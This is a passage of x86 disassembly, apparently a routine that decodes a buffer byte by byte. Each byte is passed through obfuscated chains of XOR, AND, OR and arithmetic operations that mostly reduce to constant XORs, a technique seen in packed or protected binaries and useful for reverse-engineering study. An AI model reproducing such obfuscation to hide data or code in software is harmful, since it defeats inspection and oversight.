mov dl, byte [0x4750ee]
mov cl, dl
xor cl, 0xff
mov al, cl
xor al, 0xff
or al, 0x73
and cl, 0x8c
xor cl, 0xff
and al, cl
xor al, 0xff
and dl, 0x73
or al, dl
mov cl, al
xor cl, 0xff
and cl, 0x11
and al, 0xee
or cl, al
xor cl, 0x5a
mov byte [0x4752ee], cl
mov al, byte [0x4750ef]
mov ah, al
xor ah, 0xff
and ah, 0xff
or ah, 0
mov dl, ah
xor dl, 0xff
or dl, 0x87
and ah, 0x78
xor ah, 0xff
xor dl, 0xff
xor ah, 0xff
or dl, ah
mov cl, al
xor cl, 0x87
xor cl, 0xff
or al, 0x87
and al, cl
mov cl, al
and cl, dl
xor cl, 0xff
add dl, al
add dl, 1
add dl, cl
mov byte [0x4752ef], dl
mov bl, byte [0x4750f0]
mov dl, bl
xor dl, 0xff
or dl, 0x6e
xor dl, 0xff
and dl, 0xff
mov cl, dl
and cl, 0xfd
mov al, dl
xor al, 0xff
and al, 2
mul cl
mov dh, al
mov cl, dl
and cl, 2
or dl, 2
mov al, dl
mul cl
add al, dh
mov cl, bl
and cl, 0x91
or bl, 0x91
add cl, bl
sub cl, al
mov byte [0x4752f0], cl
mov al, byte [0x4750f1]
mov cl, al
and cl, 0xea
shl cl, 1
add al, 0xea
sub al, cl
mov byte [0x4752f1], al
mov cl, byte [0x4750f2]
mov al, cl
xor al, 0xff
mov dl, cl
xor dl, 0xff
or al, dl
and al, 0xf6
xor al, 0xff
and cl, 9
xor cl, 0xff
and al, cl
xor al, 0xff
mov byte [0x4752f2], al
mov al, byte [0x4750f3]
xor al, 0x51
mov byte [0x4752f3], al
mov al, byte [0x4750f4]
mov cl, al
xor cl, 0xff
xor cl, 0xff
or cl, 0xdb
xor cl, 0xff
and cl, 0xff
and al, 0xdb
or cl, al
mov byte [0x4752f4], cl
mov al, byte [0x4750f5]
mov cl, al
and cl, 6
shl cl, 1
add al, 6
sub al, cl
mov byte [0x4752f5], al
mov al, byte [0x4750f6]
mov cl, al
and cl, cl
xor cl, 0xff
xor cl, 0xff
or cl, 0x7f
and al, 0x7f
xor al, 0xff
and cl, al
xor cl, 0xff
mov byte [0x4752f6], cl
mov al, byte [0x4750f7]
xor al, 0x75
mov byte [0x4752f7], al
mov al, byte [0x4750f8]
xor al, 0xb5
mov byte [0x4752f8], al
mov al, byte [0x4750f9]
mov cl, al
and cl, 0x73
shl cl, 1
add al, 0x73
sub al, cl
mov byte [0x4752f9], al
mov bl, byte [0x4750fa]
mov dl, bl
xor dl, 0xbf
xor dl, 0xff
and dl, 0xff
or dl, 0
and dl, 0xbf
mov al, dl
xor al, 0xff
mov cl, al
and cl, 2
or al, 2
xor al, 0xff
mul cl
mov dh, al
mov cl, dl
and cl, 2
or dl, 2
mov al, dl
mul cl
add al, dh
sub al, 0xbf
sub bl, al
mov byte [0x4752fa], bl
mov al, byte [0x4750fb]
xor al, 0xa9
mov byte [0x4752fb], al
mov al, byte [0x4750fc]
mov cl, al
and cl, 0xed
shl cl, 1
add al, 0xed
sub al, cl
mov byte [0x4752fc], al
mov al, byte [0x4750fd]
mov cl, al
and cl, 0x7f
shl cl, 1
add al, 0x7f
sub al, cl
mov byte [0x4752fd], al
mov al, byte [0x4750fe]
mov cl, al
xor cl, 0xff
mov dl, al
xor dl, 0xff
or cl, dl
mov dl, cl
xor dl, 0xff
xor cl, 0xff
and dl, cl
or dl, 0
xor dl, 0xff
or dl, 0
xor dl, 0xff
or dl, 0xf
xor al, 0xff
or al, 0xf0
xor al, 0xff
and al, 0xff
xor al, 0xff
and dl, al
xor dl, 0xff
mov byte [0x4752fe], dl
mov al, byte [0x4750ff]
xor al, 0x97
mov byte [0x4752ff], al
mov dl, byte [0x475100]
mov al, dl
xor al, 0xff
mov cl, dl
xor cl, 0xff
and cl, 0x9a
mov ah, dl
and ah, 0x65
or cl, ah
xor cl, 0x65
and al, cl
mov cl, al
and cl, 0xf8
xor cl, 0xff
add al, 0xf8
add al, 1
add al, cl
xor al, 0xff
mov ah, dl
xor ah, 0xff
and ah, 0x6d
and dl, 0x92
or ah, dl
xor ah, 0x92
mov cl, ah
add cl, 1
xor ah, 0xff
or ah, 0xf8
add ah, cl
mov cl, al
and cl, 0xff
shl cl, 1
add al, 0xff
sub al, cl
xor ah, 0xff
and al, ah
mov byte [0x475300], al
mov al, byte [0x475101]
xor al, 0x85
mov byte [0x475301], al
mov al, byte [0x475102]
xor al, 0x3a
mov byte [0x475302], al
mov al, byte [0x475103]
xor al, 0x68
mov byte [0x475303], al
mov al, byte [0x475104]
xor al, 0x4d
mov byte [0x475304], al
mov dl, byte [0x475105]
mov al, dl
xor al, 0xff
mov ah, dl
xor ah, al
and ah, dl
xor ah, 0xff
xor ah, 0xff
mov al, ah
xor al, 0xff
and al, 0xe5
or ah, 0x1a
xor ah, 0xff
or al, ah
xor al, 0xff
mov ah, dl
xor ah, 0xff
and ah, 0xc9
and dl, 0x36
or ah, dl
xor ah, 0x36
mov cl, ah
and cl, 0xe5
xor cl, 0xff
add ah, 0xe5
add ah, 1
add ah, cl
mov dl, al
xor dl, 0xff
mov cl, ah
xor cl, 0xff
or dl, cl
and al, ah
xor al, 0xff
xor dl, 0xff
xor al, 0xff
or dl, al
mov al, dl
xor al, 0xff
and al, 0x50
and dl, 0xaf
or al, dl
xor al, 0xaf
mov byte [0x475305], al
mov al, byte [0x475106]
mov cl, al
xor cl, 0xff
mov dl, cl
xor dl, 0xff
or dl, 0x86
and cl, 0x79
xor cl, 0xff
and dl, cl
xor dl, 0xff
and al, 0x86
or dl, al
xor dl, 0x48
mov byte [0x475306], dl
mov al, byte [0x475107]
mov cl, al
xor cl, 0xff
xor cl, 0xff
and cl, 0xff
shl cl, 1
sub cl, 0xff
mov ah, al
sub ah, cl
mov dl, ah
and dl, 0x1b
xor dl, 0xff
xor ah, 0xff
or ah, 0xe4
xor dl, 0xff
xor ah, 0xff
or dl, ah
and al, 0xe4
or dl, al
mov byte [0x475307], dl
mov al, byte [0x475108]
xor al, 0xef
mov byte [0x475308], al
mov al, byte [0x475109]
xor al, 8
mov byte [0x475309], al
mov al, byte [0x47510a]
mov cl, al
and cl, 0xae
shl cl, 1
add al, 0xae
sub al, cl
mov byte [0x47530a], al
mov cl, byte [0x47510b]
mov al, cl
xor al, 0xff
mov dl, cl
xor dl, 0xff
or al, dl
and al, 0xba
xor al, 0xff
and cl, 0x45
xor cl, 0xff
and al, cl
xor al, 0xff
mov byte [0x47530b], al
mov al, byte [0x47510c]
mov dl, al
or dl, dl
xor dl, 0xff
or dl, 0x84
xor dl, 0xff
shl dl, 1
sub al, 0x98
add al, 0x7b
add al, 0x98
sub al, 0x1b
sub al, dl
add al, 0x1b
mov byte [0x47530c], al
mov al, byte [0x47510d]
xor al, 0xd2
mov byte [0x47530d], al
mov al, byte [0x47510e]
xor al, 0x3c
mov byte [0x47530e], al
mov al, byte [0x47510f]
mov cl, al
xor cl, 0xff
and cl, 0xff
or cl, 0
and cl, 0x2e
and al, 0xd1
mov dl, cl
xor dl, 0xff
xor cl, 0xff
or dl, cl
and al, al
xor al, 0xff
xor dl, 0xff
xor al, 0xff
or dl, al
mov byte [0x47530f], dl
mov al, byte [0x475110]
mov dl, al
xor dl, 0xff
mov cl, al
xor cl, 0xff
or dl, cl
xor dl, 0xff
or dl, 0xb0
and al, 0xb0
xor al, 0xff
xor dl, 0xff
xor al, 0xff
or dl, al
mov byte [0x475310], dl
mov dl, byte [0x475111]
mov al, dl
xor al, 0xff
mov cl, dl
xor cl, 0xff
xor cl, 0xff
and cl, 0xff
shl cl, 1
sub cl, 0xff
mov ah, dl
sub ah, cl
and al, ah
mov cl, al
xor cl, 0xff
and al, 0xff
or al, 0
xor al, 5
or cl, 0xfa
xor cl, 0xff
and cl, 0xff
or al, cl
xor al, 0xff
xor dl, 0xff
and dl, 5
and al, al
xor al, 0xff
xor al, 0xff
or al, 0
xor al, 0xff
or al, 0
xor dl, 0xff
mov cl, al
add cl, 1
xor al, 0xff
or al, dl
add al, cl
mov byte [0x475311], al
mov al, byte [0x475112]
xor al, 0xda
mov byte [0x475312], al
mov dl, byte [0x475113]
mov cl, dl
xor cl, 0xff
mov al, cl
and al, 0x9e
xor al, 0xff
and cl, 0x9e
xor cl, 0xff
and al, cl
xor al, 0xff
and dl, 0x61
mov cl, dl
and cl, al
xor cl, 0xff
add al, dl
add al, 1
add al, cl
xor al, 0x6e
mov byte [0x475313], al
mov al, byte [0x475114]
mov cl, al
xor cl, 0xff
and cl, 0xf4
and al, 0xb
or cl, al
mov byte [0x475314], cl
mov al, byte [0x475115]
mov cl, al
xor cl, 0xff
and cl, 0xea
and al, 0x15
or cl, al
mov byte [0x475315], cl
mov al, byte [0x475116]
mov dl, al
or dl, dl
xor dl, 0xff
or dl, 0xa3
xor dl, 0xff
xor al, 0xff
and al, 0xa3
xor dl, 0xff
xor al, 0xff
and dl, al
mov byte [0x475316], dl
mov al, byte [0x475117]
xor al, 0xf7
mov byte [0x475317], al
mov al, byte [0x475118]
mov cl, al
and cl, 0xff
shl cl, 1
mov dl, al
add dl, 0xff
sub dl, cl
and dl, 0xe9
mov cl, al
xor cl, 0x16
xor cl, 0xff
or al, 0x16
and al, cl
or dl, al
mov byte [0x475318], dl
mov al, byte [0x475119]
mov dl, al
and dl, dl
xor dl, 0xff
xor dl, 0xff
or dl, 0x28
xor al, 0xff
or al, 0xd7
xor dl, 0xff
xor al, 0xff
or dl, al
mov byte [0x475319], dl
mov al, byte [0x47511a]
mov cl, al
and cl, 0x72
shl cl, 1
add al, 0x72
sub al, cl
mov byte [0x47531a], al
mov al, byte [0x47511b]
mov cl, al
xor cl, 0xff
and cl, 0x7a
and al, 0x85
or cl, al
xor cl, 0x6c
mov byte [0x47531b], cl
mov al, byte [0x47511c]
xor al, 2
mov byte [0x47531c], al
mov al, byte [0x47511d]
mov cl, al
xor cl, 0xff
and cl, 0x6b
and al, 0x94
or cl, al
xor cl, 0x7e
mov byte [0x47531d], cl
mov al, byte [0x47511e]
xor al, 8
mov byte [0x47531e], al
mov al, byte [0x47511f]
xor al, 0xa6
mov byte [0x47531f], al
mov al, byte [0x475120]
mov dl, al
xor dl, 0xbb
xor dl, 0xff
and dl, 0xbb
shl dl, 1
mov cl, dl
xor cl, 0xff
and cl, 0xbb
and dl, 0x44
sub dl, cl
sub al, dl
mov byte [0x475320], al
mov cl, byte [0x475121]
mov al, cl
xor al, 0xff
and al, 0x32
and cl, 0xcd
mov dl, cl
xor dl, 0xff
mov ah, al
and ah, dl
mov dl, al
xor dl, cl
add al, dl
sub al, ah
mov cl, al
xor cl, 0x54
xor cl, 0xff
and cl, 0x54
shl cl, 1
sub cl, 0x54
sub al, cl
mov byte [0x475321], al
mov al, byte [0x475122]
mov cl, al
xor cl, 0xff
mov dl, cl
and dl, 0x30
xor dl, 0xff
xor cl, 0xff
or cl, 0xcf
and dl, cl
xor dl, 0xff
xor al, 0xff
or al, 0x30
xor al, 0xff
and al, 0xff
mov cl, dl
and cl, al
xor dl, al
or cl, dl
xor cl, 0x1e
mov byte [0x475322], cl
mov al, byte [0x475123]
mov ah, al
xor ah, 0xff
and ah, 0x5c
mov cl, al
and cl, 0xa3
or ah, cl
xor ah, 0xa3
mov cl, al
xor cl, 0xff
and cl, 0xff
or cl, 0
and ah, cl
xor ah, 0xff
mov dl, ah
xor dl, 0xc5
and dl, ah
mov cl, al
xor cl, 0xff
xor cl, 0xff
and cl, 0xff
shl cl, 1
sub cl, 0xff
sub al, cl
mov cl, al
xor cl, 0x3a
and cl, al
xor dl, 0xff
xor cl, 0xff
and cl, 0xff
or cl, 0
and dl, cl
mov byte [0x475323], dl
mov al, byte [0x475124]
xor al, 0x92
mov byte [0x475324], al
mov al, byte [0x475125]
xor al, 0x7c
mov byte [0x475325], al
mov al, byte [0x475126]
xor al, 0xea
mov byte [0x475326], al
mov al, byte [0x475127]
mov cl, al
xor cl, 0xff
and cl, 0x91
and al, 0x6e
or cl, al
xor cl, 0x25
mov byte [0x475327], cl
mov al, byte [0x475128]
xor al, 0xa5
mov byte [0x475328], al
mov al, byte [0x475129]
mov cl, al
xor cl, 0xcb
xor cl, 0xff
and cl, 0xcb
shl cl, 1
sub cl, 0xcb
sub al, cl
mov byte [0x475329], al
mov al, byte [0x47512a]
mov cl, al
xor cl, 0x1f
xor cl, 0xff
and cl, 0x1f
shl cl, 1
sub cl, 0x1f
sub al, cl
mov byte [0x47532a], al
mov al, byte [0x47512b]
mov dl, al
xor dl, 0xff
mov cl, al
xor cl, 0xff
and dl, cl
xor dl, 0xff
and dl, 0xea
xor al, 0xff
and al, 0x15
xor dl, 0xff
xor al, 0xff
and dl, al
mov byte [0x47532b], dl
mov al, byte [0x47512c]
mov cl, al
xor cl, 0xff
and cl, 0x80
and al, 0x7f
or cl, al
mov byte [0x47532c], cl
mov al, byte [0x47512d]
mov dl, al
xor dl, 0xff
mov cl, al
xor cl, 0xff
or dl, cl
xor dl, 0xff
or dl, 0x3b
and al, 0x3b
xor al, 0xff
xor dl, 0xff
xor al, 0xff
or dl, al
mov byte [0x47532d], dl
mov dl, byte [0x47512e]
mov al, dl
xor al, 0xff
mov cl, dl
xor cl, 0xff
and cl, 0x1c
mov ah, dl
and ah, 0xe3
or cl, ah
xor cl, 0xe3
and al, cl
xor al, 0xff
and al, 0xa
xor dl, 0xff
and dl, 0xf5
or al, dl
xor al, 0xff
and al, 0xff
or al, 0
mov byte [0x47532e], al
mov dl, byte [0x47512f]
mov al, dl
xor al, 0xff
mov cl, dl
xor cl, 0xff
or al, cl
mov cl, dl
xor cl, 0xff
mov ah, dl
xor ah, 0xff
or cl, ah
xor al, 0xff
xor cl, 0xff
or al, cl
xor al, 0xff
and al, 0xff
or al, 0
mov cl, al
add cl, 1
xor al, 0xff
or al, 0x24
add al, cl
xor al, 0xff
and dl, 0xdb
mov cl, dl
xor cl, 0xff
and cl, 0x51
and dl, 0xae
or cl, dl
xor cl, 0xae
xor al, 0xff
xor cl, 0xff
or al, cl
mov byte [0x47532f], al
mov al, byte [0x475130]
mov cl, al
add cl, 1
mov dl, al
xor dl, 0xff
or dl, al
add dl, cl
xor dl, 0xff
xor dl, 0xff
or dl, 0xc6
xor al, 0xff
or al, 0x39
xor dl, 0xff
xor al, 0xff
or dl, al
mov byte [0x475330], dl
mov al, byte [0x475131]
mov dl, al
xor dl, 0xff
mov cl, al
xor cl, 0xff
and dl, cl
or dl, 0x1a
xor dl, 0xff
xor al, 0xff
and al, 0x1a
xor dl, 0xff
xor al, 0xff
and dl, al
mov byte [0x475331], dl
mov al, byte [0x475132]
mov dl, al
xor dl, 0xff
mov cl, al
xor cl, 0xff
or dl, cl
xor dl, 0xff
or dl, 0x61
xor al, 0xff
or al, 0x9e
xor dl, 0xff
xor al, 0xff
or dl, al
mov byte [0x475332], dl
mov al, byte [0x475133]
mov cl, al
xor cl, 0x2c
xor cl, 0xff
and cl, 0x2c
shl cl, 1
sub cl, 0x2c
sub al, cl
mov byte [0x475333], al
mov al, byte [0x475134]
xor al, 0xb7
mov byte [0x475334], al
mov al, byte [0x475135]
xor al, 0x5e
mov byte [0x475335], al
mov al, byte [0x475136]
mov cl, al
xor cl, 0xff
and cl, 0xca
and al, 0x35
or cl, al
xor cl, 0x4d
mov byte [0x475336], cl
mov al, byte [0x475137]
mov cl, al
xor cl, 0xff
and cl, 0xa2
and al, 0x5d
or cl, al
mov byte [0x475337], cl
mov al, byte [0x475138]
mov cl, al
xor cl, 0xff
and cl, 0x42
and al, 0xbd
or cl, al
mov byte [0x475338], cl
mov al, byte [0x475139]
xor al, 0x3f
mov byte [0x475339], al
mov al, byte [0x47513a]
mov cl, al
xor cl, 0xff
and cl, 0x81
and al, 0x7e
or cl, al
mov byte [0x47533a], cl
mov al, byte [0x47513b]
mov cl, al
xor cl, 0xff
and cl, 0xee
mov dl, al
xor dl, 0x11
xor dl, 0xff
or al, 0x11
and al, dl
or cl, al
xor cl, 0x68
mov byte [str._9_fX], cl
mov al, byte [str.B96Xq_t_]
mov cl, al
xor cl, 0xff
and cl, 0xee
and al, 0x11
or cl, al
xor cl, 0xa3
mov byte [0x47533c], cl
mov al, byte [0x47513d]
mov cl, al
xor cl, 0x36
mov dl, cl
xor dl, 0xff
and dl, 0xf0
and cl, 0xf
or dl, cl
xor dl, 0xf
and dl, 0x36
shl dl, 1
add dl, 0xc9
add dl, 1
sub al, dl
mov byte [0x47533d], al
mov dl, byte [0x47513e]
mov al, dl
xor al, 0xff
mov cl, dl
xor cl, 0xff
or al, cl
and al, al
xor al, 0xff
xor al, 0xff
or al, 0
and al, 0xff
xor al, 0xff
or al, 0xc6
xor dl, 0xff
or dl, 0x39
and al, dl
mov cl, al
xor cl, 0xff
xor al, 0xff
or cl, al
and cl, 0xff
xor cl, 0xff
and cl, 0xff
xor cl, 0xff
mov byte [0x47533e], cl
mov al, byte [0x47513f]
xor al, 0x57
mov byte [0x47533f], al
mov al, byte [0x475140]
xor al, 0x7e
mov byte [0x475340], al
mov al, byte [0x475141]
mov dl, al
xor dl, 0xff
mov cl, al
xor cl, 0xff
or dl, cl
and dl, 6
xor dl, 0xff
and al, 0xf9
xor al, 0xff
xor dl, 0xff
xor al, 0xff
or dl, al
mov byte [0x475341], dl
mov dl, byte [0x475142]
mov al, dl
xor al, 0xff
and al, 0xff
or al, 0
and al, 0x10
xor dl, 0xff
or dl, 0x10
xor dl, 0xff
and dl, 0xff
or al, dl
xor al, 0x3e
mov byte [0x475342], al
mov al, byte [0x475143]
xor al, 0xcb
mov byte [0x475343], al
mov al, byte [0x475144]
mov dl, al
and dl, dl
xor dl, 0xff
xor dl, 0xff
or dl, 0x68
and al, 0x68
xor al, 0xff
xor dl, 0xff
xor al, 0xff
or dl, al
mov byte [0x475344], dl
mov dl, byte [0x475145]
mov al, dl
xor al, 0xff
xor al, 0xff
xor al, 0xdb
and al, 0xdb
and dl, 0x24
mov cl, al
or cl, dl
xor cl, 0xff
xor al, 0xff
xor dl, 0xff
and al, dl
xor cl, 0xff
xor al, 0xff
and cl, al
mov byte [0x475345], cl
mov al, byte [0x475146]
xor al, 0x27
mov byte [0x475346], al
mov al, byte [0x475147]
mov cl, al
xor cl, 0xff
and cl, 0x88
and al, 0x77
or cl, al
mov byte [0x475347], cl
mov al, byte [0x475148]
xor al, 0xc9
mov byte [0x475348], al
mov al, byte [0x475149]
mov cl, al
xor cl, 0xff
and cl, 0xdf
and al, 0x20
or cl, al
xor cl, 0x6c
mov byte [0x475349], cl
mov al, byte [0x47514a]
xor al, 0x9a
mov byte [0x47534a], al
mov al, byte [0x47514b]
mov cl, al
xor cl, 0xff
mov ah, al
and ah, cl
mov cl, al
xor cl, cl
mov dl, al
add dl, cl
sub dl, ah
xor dl, 0xff
or dl, 0x70
mov cl, dl
xor cl, 0xff
xor cl, 0xff
and cl, 0xff
shl cl, 1
sub cl, 0xff
sub dl, cl
or al, 0x8f
mov cl, al
xor cl, 0xff
and cl, 0xdd
and al, 0x22
or cl, al
xor cl, 0x22
or dl, cl
xor dl, 0xff
mov byte [0x47534b], dl
mov al, byte [0x47514c]
xor al, 0x82
mov byte [0x47534c], al
mov al, byte [0x47514d]
mov ah, al
or ah, ah
xor ah, 0xff
xor ah, 0xff
and ah, 0xff
xor ah, 0xff
and ah, 0xff
mov cl, al
xor cl, 0xff
and ah, cl
mov dh, ah
xor dh, 0xff
mov dl, dh
and dl, 0xfa
and ah, 5
or dl, ah
xor dl, 0xb5
or dh, 0xb0
xor dh, 0xff
and dh, 0xff
or dl, dh
xor dl, 0xff
and al, al
xor al, 0xff
and al, 0xff
xor al, 0xff
and al, 0xff
xor al, 0xff
mov cl, al
add cl, 1
xor al, 0xff
or al, 0x4f
add al, cl
xor dl, 0xff
mov cl, al
xor cl, 0xff
and cl, 0x1e
and al, 0xe1
or cl, al
xor cl, 0xe1
and dl, cl
mov byte [0x47534d], dl
mov al, byte [0x47514e]
xor al, 0xf5
mov byte [0x47534e], al
mov al, byte [0x47514f]
mov cl, al
and cl, 0x78
shl cl, 1
add al, 0x78
sub al, cl
mov byte [0x47534f], al
mov bl, byte [0x475150]
mov dl, bl
xor dl, 0xff
mov al, bl
xor al, 0xff
or dl, al
and dl, 0x43
xor dl, 0xff
mov al, bl
xor al, 0xff
or al, 0x43
and dl, al
xor dl, 0xff
xor dl, 0xff
and dl, 0x43
mov al, dl
xor al, 0xff
mov cl, al
and cl, 2
or al, 2
xor al, 0xff
mul cl
mov dh, al
mov cl, dl
and cl, 2
or dl, 2
mov al, dl
mul cl
add al, dh
sub al, 0x43
sub bl, al
mov byte [0x475350], bl
mov bl, byte [0x475151]
mov dl, bl
and dl, 0x70
mov al, dl
xor al, 0xff
mov cl, al
and cl, 2
or al, 2
xor al, 0xff
mul cl
mov dh, al
mov cl, dl
and cl, 2
or dl, 2
mov al, dl
mul cl
add al, dh
sub bl, 0x90
sub bl, al
mov byte [0x475351], bl
mov al, byte [0x475152]
mov cl, al
xor cl, 0xff
mov dl, al
and dl, 0xff
shl dl, 1
mov ah, al
add ah, 0xff
sub ah, dl
mov dl, cl
and dl, ah
xor cl, ah
or dl, cl
and dl, 0x28
xor dl, 0xff
xor al, 0xff
or al, 0x28
mov cl, dl
xor cl, 0xff
xor cl, 0xff
and cl, 0xff
shl cl, 1
sub cl, 0xff
sub dl, cl
mov cl, al
xor cl, 0xff
xor cl, 0xff
and cl, 0xff
shl cl, 1
sub cl, 0xff
sub al, cl
or dl, al
mov byte [0x475352], dl
mov dl, byte [0x475153]
mov al, dl
and al, al
xor al, 0xff
and al, 0x73
xor al, 0xff
xor dl, 0xff
or dl, 0x73
mov cl, al
and cl, 0xff
shl cl, 1
add al, 0xff
sub al, cl
xor dl, 0xff
mov cl, dl
xor cl, 0xff
mov ah, al
and ah, cl
mov cl, al
xor cl, dl
add al, cl
sub al, ah
mov byte [0x475353], al
mov cl, byte [0x475154]
mov al, cl
xor al, 0xc6
and al, cl
shl al, 1
xor edx, edx
sub dl, cl
add dl, 0xc7
xor ecx, ecx
sub cl, dl
sub cl, al
mov byte [0x475354], cl
mov al, byte [0x475155]
xor al, 0xca
mov byte [str._w5], al
mov al, byte [0x475156]
mov dl, al
xor dl, 0xff
mov cl, al
xor cl, 0xff
or dl, cl
xor dl, 0xff
or dl, 0x1c
xor al, 0xff
or al, 0xe3
xor dl, 0xff
xor al, 0xff
or dl, al
mov byte [0x475356], dl
mov al, byte [0x475157]
xor al, 0x23
mov byte [0x475357], al
mov al, byte [0x475158]
xor al, 0x72
mov byte [0x475358], al
mov al, byte [0x475159]
xor al, 0xc6
mov byte [0x475359], al
mov al, byte [0x47515a]
xor al, 0xcb
mov byte [0x47535a], al
mov al, byte [0x47515b]
mov cl, al
and cl, 0x84
shl cl, 1
add al, 0x84
sub al, cl
mov byte [0x47535b], al
mov al, byte [0x47515c]
mov cl, al
xor cl, 0xff
and cl, 0xc5
and al, 0x3a
or cl, al
xor cl, 0x13
mov byte [0x47535c], cl
mov al, byte [0x47515d]
mov cl, al
xor cl, 0xff
xor cl, 0xff
and cl, 0xff
shl cl, 1
sub cl, 0xff
mov dl, al
sub dl, cl
mov cl, al
xor cl, 0xff
and dl, cl
mov cl, dl
and cl, 0xf0
xor cl, 0xff
add dl, 0xf0
add dl, 1
add dl, cl
xor dl, 0xff
xor al, 0xff
mov cl, al
xor cl, 0xf0
xor cl, 0xff
or al, 0xf0
and al, cl
xor dl, 0xff
xor al, 0xff
and dl, al
mov byte [0x47535d], dl
mov al, byte [0x47515e]
xor al, 0xed
mov byte [0x47535e], al
mov al, byte [0x47515f]
mov dl, al
xor dl, 0xc8
and dl, dl
xor dl, 0xff
xor dl, 0xff
or dl, 0
and dl, 0xff
xor dl, 0xff
and dl, 0xc8
shl dl, 1
add dl, 0x37
add dl, 1
xor ecx, ecx
sub cl, dl
add al, cl
mov byte [0x47535f], al
mov al, byte [0x475160]
xor al, 0x8b
mov byte [0x475360], al
mov dl, byte [0x475161]
mov al, dl
and al, 0xc3
xor al, 0xff
mov cl, dl
and cl, 0xc3
xor cl, 0xff
xor al, 0xff
xor cl, 0xff
or al, cl
shl al, 1
mov cl, dl
and cl, 0xc3
or dl, 0xc3
add cl, dl
mov dl, cl
xor dl, 0xff
and dl, al
xor al, 0xff
and cl, al
sub cl, dl
mov byte [0x475361], cl
mov al, byte [0x475162]
mov dl, al
and dl, dl
xor dl, 0xff
and dl, 3
xor dl, 0xff
and al, 0xfc
xor al, 0xff
xor dl, 0xff
xor al, 0xff
or dl, al
mov byte [0x475362], dl
mov al, byte [0x475163]
mov cl, al
or cl, cl
xor cl, 0xff
or cl, 0x3b
xor cl, 0xff
or al, 0xc4
xor al, 0xff
or cl, al
xor cl, 0xff
mov byte [0x475363], cl
mov dl, byte [0x475164]
mov ah, dl
or ah, ah
or ah, ah
xor ah, 0xff
xor ah, 0xff
and ah, 0xff
xor ah, 0xff
and ah, 0xff
mov al, ah
xor al, 0xff
and al, 0xae
and ah, 0x51
or al, ah
xor al, 0x51
mov cl, al
add cl, 1
xor al, 0xff
or al, 0x4c
add al, cl
xor dl, 0xff
and dl, 0xb3
mov cl, dl
and cl, al
xor cl, 0xff
add al, dl
add al, 1
add al, cl
mov cl, al
xor cl, 0xff
xor cl, 0xff
and cl, 0xff
shl cl, 1
sub cl, 0xff
sub al, cl
mov byte [0x475364], al
mov al, byte [0x475165]
xor al, 0x7f
mov byte [0x475365], al
mov al, byte [0x475166]
mov cl, al
xor cl, 0xff
and cl, 0xb1
and al, 0x4e
or cl, al
mov byte [0x475366], cl
mov al, byte [0x475167]
xor al, 0x40
mov byte [0x475367], al
mov al, byte [0x475168]
xor al, 0xc4
mov byte [0x475368], al
mov al, byte [0x475169]
mov cl, al
xor cl, 0xff
and cl, 0xf2
and al, 0xd
or cl, al
mov byte [0x475369], cl
mov al, byte [0x47516a]
mov cl, al
xor cl, 0xae
xor cl, 0xff
and cl, 0xae
shl cl, 1
sub cl, 0xae
sub al, cl
mov byte [0x47536a], al
mov al, byte [0x47516b]
mov dl, al
and dl, dl
xor dl, 0xff
xor dl, 0xff
or dl, 0xd8
xor al, 0xff
or al, 0x27
xor dl, 0xff
xor al, 0xff
or dl, al
mov byte [0x47536b], dl
mov al, byte [0x47516c]
xor al, 0x6f
mov byte [0x47536c], al
mov al, byte [0x47516d]
mov cl, al
xor cl, 0xff
and cl, 0xf9
and al, 6
or cl, al
mov byte [0x47536d], cl
mov al, byte [0x47516e]
mov cl, al
xor cl, 0xff
and cl, 0xbe
xor al, 0xff
or al, 0xbe
xor al, 0xff
and al, 0xff
or cl, al
mov byte [0x47536e], cl
mov al, byte [0x47516f]
xor al, 6
mov byte [0x47536f], al
mov bl, byte [0x475170]
mov dl, bl
xor dl, 0x80
mov al, dl
and al, 0xff
shl al, 1
add dl, 0xff
sub dl, al
and dl, 0x80
mov cl, dl
and cl, 0xfd
mov al, dl
xor al, 0xff
and al, 2
mul cl
mov dh, al
mov cl, dl
and cl, 2
or dl, 2
mov al, dl
mul cl
add al, dh
sub al, 0x80
sub bl, al
mov byte [0x475370], bl
mov cl, byte [0x475171]
mov al, cl
xor al, 0xff
and al, 0xdb
and cl, 0x24
or al, cl
mov cl, al
xor cl, 0x12
xor cl, 0xff
and cl, 0x12
shl cl, 1
sub cl, 0x12
sub al, cl
mov byte [0x475371], al
mov al, byte [0x475172]
mov dl, al
xor dl, 0xff
mov cl, al
xor cl, 0xff
or dl, cl
xor dl, 0xff
or dl, 0xe4
and al, 0xe4
xor al, 0xff
xor dl, 0xff
xor al, 0xff
or dl, al
mov byte [0x475372], dl
mov al, byte [0x475173]
mov cl, al
xor cl, 0xb8
xor cl, 0xff
and cl, 0xb8
shl cl, 1
sub cl, 0xb8
sub al, cl
mov byte [0x475373], al
mov al, byte [0x475174]
mov cl, al
xor cl, 0xa0
xor cl, 0xff
and cl, 0xa0
shl cl, 1
add cl, 0x5f
add cl, 1
sub al, cl
mov byte [0x475374], al
mov al, byte [0x475175]
and al, al
xor al, 0xff
xor al, 0xff
or al, 0
xor al, 0xff
or al, 0
and al, 0xff
or al, 0
mov byte [0x475375], al
mov al, byte [0x475176]
xor al, 0x31
mov byte [0x475376], al
mov bl, byte [0x475177]
mov dl, bl
xor dl, 0xff
and dl, 0x73
mov al, bl
and al, 0x8c
or dl, al
xor dl, 0x5d
xor dl, 0xff
or dl, 0xd1
add dl, 0x2f
mov al, dl
xor al, 0xff
mov cl, al
and cl, 2
or al, 2
xor al, 0xff
mul cl
mov dh, al
mov cl, dl
and cl, 2
or dl, 2
mov al, dl
mul cl
add al, dh
sub al, 0x2e
add bl, 0xfc
sub bl, al
sub bl, 0xfc
mov byte [0x475377], bl
mov al, byte [0x475178]
xor al, 0x88
mov byte [0x475378], al
mov al, byte [0x475179]
mov dl, al
or dl, dl
xor dl, 0xff
xor dl, 0xff
and dl, 0x14
or al, 0x14
xor al, 0xff
xor dl, 0xff
xor al, 0xff
and dl, al
mov byte [0x475379], dl
mov bl, byte [0x47517a]
mov dl, bl
and dl, 0xe2
mov cl, dl
and cl, 0xfd
mov al, dl
xor al, 0xff
and al, 2
mul cl
mov dh, al
mov cl, dl
and cl, 2
or dl, 2
mov al, dl
mul cl
add al, dh
add bl, 0xe2
sub bl, al
mov byte [0x47537a], bl
mov al, byte [0x47517b]
mov cl, al
xor cl, 0xff
mov dl, cl
xor dl, 0xff
or dl, 0x63
xor cl, 0xff
or cl, 0x63
and dl, cl
xor dl, 0xff
and al, 0x63
or dl, al
xor dl, 0x69
mov byte [0x47537b], dl
mov al, byte [0x47517c]
mov cl, al
xor cl, 0xff
and cl, 0x5f
and al, 0xa0
or cl, al
